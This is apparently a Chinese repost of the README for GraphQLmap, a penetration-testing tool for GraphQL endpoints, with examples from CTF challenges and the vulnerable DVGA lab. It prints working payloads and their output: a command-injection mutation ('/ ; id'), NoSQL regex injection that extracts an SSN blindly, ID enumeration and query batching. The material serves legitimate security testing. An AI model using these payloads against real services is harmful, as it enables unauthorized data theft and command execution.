GraphQLmap
GraphQLmap 是一个脚本引擎,用于与 graphql 端点交互以进行渗透测试。
我❤️拉取请求,请随意改进这个脚本:)
您还可以通过🍻 IRL 或使用 Github 赞助按钮做出贡献。
安装
$ git clone https://github.com/swisskyrepo/GraphQLmap $ python setup.py install $ graphqlmap _____ _ ____ _ / ____| | | / __ \| | | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) | \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ | | | | |_| |_| Author:Swissky Version:1.0 usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]] optional arguments: -h, --help show this help message and exit -u URL URL to query : example.com/graphql?query={} -v [VERBOSITY] Enable verbosity --method [METHOD] HTTP Method to use interact with /graphql endpoint --headers [HEADERS] HTTP Headers sent to /graphql endpoint --json [USE_JSON] Use JSON encoding, implies POST --proxy [PROXY] HTTP proxy to log requests
开发设置
python -m venv .venv source .venv/bin/activate pip install --editable . pip install -r requirements.txt ./bin/graphqlmap -u http://127.0.0.1:5013/graphql
特征和示例
⚠️示例基于 HIP2019 的几项 CTF 挑战。
连接到 graphql 端点
# Connect using POST and providing an authentication token graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}' # Pass request through Burp Proxy graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080
转储 GraphQL 架构
用于dump_new
转储 GraphQL 模式,此功能将自动使用找到的字段填充“自动完成”。🎥
现场示例
GraphQLmap > dump_new ============= [SCHEMA] =============== e.g: name[Type]: arg (Type!) Query doctor[]: email (String!), doctors[Doctor]: patients[Patient]: patient[]: id (ID!), allrendezvous[Rendezvous]: rendezvous[]: id (ID!), Doctor id[ID]: firstName[String]: lastName[String]: specialty[String]: patients[None]: rendezvous[None]: email[String]: password[String]: [...]
与 GraphQL 端点交互
编写 GraphQL 请求并执行它。
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}} { "data": { "doctors": [ { "firstName": "Admin", "id": "5d089c51dcab2d0032fdd08d", "lastName": "Admin" } ] } }
它也适用于mutations
,它们必须写在一行中。
# ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST GraphQLmap > mutation { importPaste(host:"localhost", port:80, path:"/ ; id", scheme:"http"){ result }} { "data": { "importPaste": { "result": "uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n" { { {
GraphQL 字段模糊测试
使用GRAPHQL_INCREMENT
和GRAPHQL_CHARSET
来模糊测试参数。🎥
实例
示例 1-暴力破解一个字符
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}} [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}} [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}} [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}} [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
示例 2 – 迭代数字
使用GRAPHQL_INCREMENT_
后跟数字。
GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} } [+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} } [+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} } [+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} } [+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} } [+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} } [+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} } [+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} } [+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} } [+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} } [+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} } GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} } { paste(pId: "9") {id,title,content,public,userAgent} } { "data": { "paste": { "content": "I was excited to spend time with my wife without being interrupted by kids.", "id": "UGFzdGVPYmplY3Q6OQ==", "public": true, "title": "This is my first paste", "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" } } }
GraphQL 批处理
GraphQL 支持请求批处理。GraphQL 会逐个处理批处理请求。BATCHING_PLACEHOLDER
在查询之前使用可在单个请求中多次发送该查询。
GraphQLmap > BATCHING_3 {__schema{ types{namea}}} [+] Sending a batch of 3 queries [+] Successfully received 3 outputs GraphQLmap > BATCHING_2 {systemUpdate} [+] Sending a batch of 2 queries [+] Successfully received 2 outputs
NoSQLi 注入
BLIND_PLACEHOLDER
在函数查询中使用nosqli
。🎥
实例
GraphQLmap > nosqli Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}} Check > 5d089c51dcab2d0032fdd08d Charset > 0123456789abcdef- [+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b GraphQLmap >
SQL 注入
GraphQLmap > postgresqli GraphQLmap > mysqli GraphQLmap > mssqli
实践
- 该死的易受攻击的 GraphQL 应用程序 – @dolevf:
docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga
待办事项
- GraphQL 字段建议
- 生成突变查询
- 单元测试
- 处理节点
{
user {
edges {
node {
username
}
}
}
}
国内下载链接
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END